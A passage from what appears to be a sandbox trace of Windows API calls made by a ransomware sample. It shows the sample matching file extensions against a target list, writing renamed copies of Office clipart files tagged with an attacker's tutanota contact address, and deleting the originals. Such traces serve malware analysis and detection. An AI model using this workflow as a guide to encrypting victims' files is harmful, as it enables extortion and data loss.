(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0086.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.475] lstrlenW (lpString=".doc") returned 4 [0086.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.475] lstrlenW (lpString=".docx") returned 5 [0086.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.475] lstrlenW (lpString=".pdf") returned 4 [0086.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.475] lstrlenW (lpString=".xls") returned 4 [0086.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.475] lstrlenW (lpString=".xlsx") returned 5 [0086.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.475] lstrlenW (lpString=".ppt") returned 4 [0086.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.476] lstrlenW (lpString=".zip") returned 4 [0086.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.476] lstrlenW (lpString=".rar") returned 4 [0086.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.476] lstrlenW (lpString=".bz2") returned 4 [0086.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.476] lstrlenW (lpString=".7z") returned 3 [0086.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.476] lstrlenW (lpString=".dbf") returned 4 [0086.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.476] lstrlenW (lpString=".1cd") returned 4 [0086.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.476] lstrlenW (lpString=".jpg") returned 4 [0086.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.476] lstrlenW (lpString=".doc") returned 4 [0086.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.476] lstrlenW (lpString=".docx") returned 5 [0086.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.476] lstrlenW (lpString=".pdf") returned 4 [0086.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.476] lstrlenW (lpString=".xls") returned 4 [0086.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.476] lstrlenW (lpString=".xlsx") returned 5 [0086.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.476] lstrlenW (lpString=".ppt") returned 4 [0086.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.476] lstrlenW (lpString=".zip") returned 4 [0086.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.476] lstrlenW (lpString=".rar") returned 4 [0086.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.477] lstrlenW (lpString=".bz2") returned 4 [0086.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.477] lstrlenW (lpString=".7z") returned 3 [0086.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.477] lstrlenW (lpString=".dbf") returned 4 [0086.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.477] lstrlenW (lpString=".1cd") returned 4 [0086.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0086.477] lstrlenW (lpString=".jpg") returned 4 [0086.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.477] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.477] lstrlenW (lpString="FD00543_.WMF") returned 12 [0086.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.477] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=1472) returned 1 [0086.477] CloseHandle (hObject=0x308) returned 1 [0086.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0086.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.478] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.478] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.478] GetLastError () returned 0x0 [0086.478] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0086.846] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0086.849] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.849] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.850] SetEndOfFile (hFile=0x384) returned 1 [0086.850] CloseHandle (hObject=0x384) returned 1 [0086.850] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.850] SetEndOfFile (hFile=0x308) returned 1 [0086.851] CloseHandle (hObject=0x308) returned 1 [0086.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0086.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.852] lstrlenW (lpString=".doc") returned 4 [0086.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.852] lstrlenW (lpString=".docx") returned 5 [0086.852] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.852] lstrlenW (lpString=".pdf") returned 4 [0086.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.852] lstrlenW (lpString=".xls") returned 4 [0086.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.852] lstrlenW (lpString=".xlsx") returned 5 [0086.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.852] lstrlenW (lpString=".ppt") returned 4 [0086.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.852] lstrlenW (lpString=".zip") returned 4 [0086.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.852] lstrlenW (lpString=".rar") returned 4 [0086.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.852] lstrlenW (lpString=".bz2") returned 4 [0086.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.852] lstrlenW (lpString=".7z") returned 3 [0086.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.852] lstrlenW (lpString=".dbf") returned 4 [0086.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.852] lstrlenW (lpString=".1cd") returned 4 [0086.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.852] lstrlenW (lpString=".jpg") returned 4 [0086.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.853] lstrlenW (lpString=".doc") returned 4 [0086.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.853] lstrlenW (lpString=".docx") returned 5 [0086.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.853] lstrlenW (lpString=".pdf") returned 4 [0086.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.853] lstrlenW (lpString=".xls") returned 4 [0086.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.853] lstrlenW (lpString=".xlsx") returned 5 [0086.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.853] lstrlenW (lpString=".ppt") returned 4 [0086.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.853] lstrlenW (lpString=".zip") returned 4 [0086.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.853] lstrlenW (lpString=".rar") returned 4 [0086.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.853] lstrlenW (lpString=".bz2") returned 4 [0086.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.853] lstrlenW (lpString=".7z") returned 3 [0086.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.853] lstrlenW (lpString=".dbf") returned 4 [0086.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.853] lstrlenW (lpString=".1cd") returned 4 [0086.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0086.853] lstrlenW (lpString=".jpg") returned 4 [0086.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.853] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.853] lstrlenW (lpString="FD01548_.WMF") returned 12 [0086.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.854] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=10316) returned 1 [0086.854] CloseHandle (hObject=0x308) returned 1 [0086.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0086.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.855] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.855] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.855] GetLastError () returned 0x0 [0086.855] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x284c, lpOverlapped=0x0) returned 1 [0086.857] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x2850, lpOverlapped=0x0) returned 1 [0086.858] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.858] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.858] SetEndOfFile (hFile=0x384) returned 1 [0086.858] CloseHandle (hObject=0x384) returned 1 [0086.858] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.858] SetEndOfFile (hFile=0x308) returned 1 [0086.859] CloseHandle (hObject=0x308) returned 1 [0086.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0086.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.860] lstrlenW (lpString=".doc") returned 4 [0086.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.860] lstrlenW (lpString=".docx") returned 5 [0086.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.860] lstrlenW (lpString=".pdf") returned 4 [0086.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.860] lstrlenW (lpString=".xls") returned 4 [0086.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.860] lstrlenW (lpString=".xlsx") returned 5 [0086.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.860] lstrlenW (lpString=".ppt") returned 4 [0086.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.860] lstrlenW (lpString=".zip") returned 4 [0086.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.860] lstrlenW (lpString=".rar") returned 4 [0086.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.860] lstrlenW (lpString=".bz2") returned 4 [0086.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.860] lstrlenW (lpString=".7z") returned 3 [0086.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.860] lstrlenW (lpString=".dbf") returned 4 [0086.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.860] lstrlenW (lpString=".1cd") returned 4 [0086.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.860] lstrlenW (lpString=".jpg") returned 4 [0086.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.860] lstrlenW (lpString=".doc") returned 4 [0086.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.860] lstrlenW (lpString=".docx") returned 5 [0086.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.861] lstrlenW (lpString=".pdf") returned 4 [0086.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.861] lstrlenW (lpString=".xls") returned 4 [0086.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.861] lstrlenW (lpString=".xlsx") returned 5 [0086.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.861] lstrlenW (lpString=".ppt") returned 4 [0086.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.861] lstrlenW (lpString=".zip") returned 4 [0086.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.861] lstrlenW (lpString=".rar") returned 4 [0086.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.861] lstrlenW (lpString=".bz2") returned 4 [0086.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.861] lstrlenW (lpString=".7z") returned 3 [0086.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.861] lstrlenW (lpString=".dbf") returned 4 [0086.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.861] lstrlenW (lpString=".1cd") returned 4 [0086.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0086.861] lstrlenW (lpString=".jpg") returned 4 [0086.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.861] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.861] lstrlenW (lpString="FD01657_.WMF") returned 12 [0086.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.862] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=30414) returned 1 [0086.862] CloseHandle (hObject=0x308) returned 1 [0086.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0086.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.862] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.862] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.862] GetLastError () returned 0x0 [0086.862] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x76ce, lpOverlapped=0x0) returned 1 [0086.865] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x76d0, lpOverlapped=0x0) returned 1 [0086.866] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.866] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.866] SetEndOfFile (hFile=0x384) returned 1 [0086.866] CloseHandle (hObject=0x384) returned 1 [0086.866] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.866] SetEndOfFile (hFile=0x308) returned 1 [0086.867] CloseHandle (hObject=0x308) returned 1 [0086.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0086.868] lstrlenW (lpString="C:\\Program Files\\Microsoft 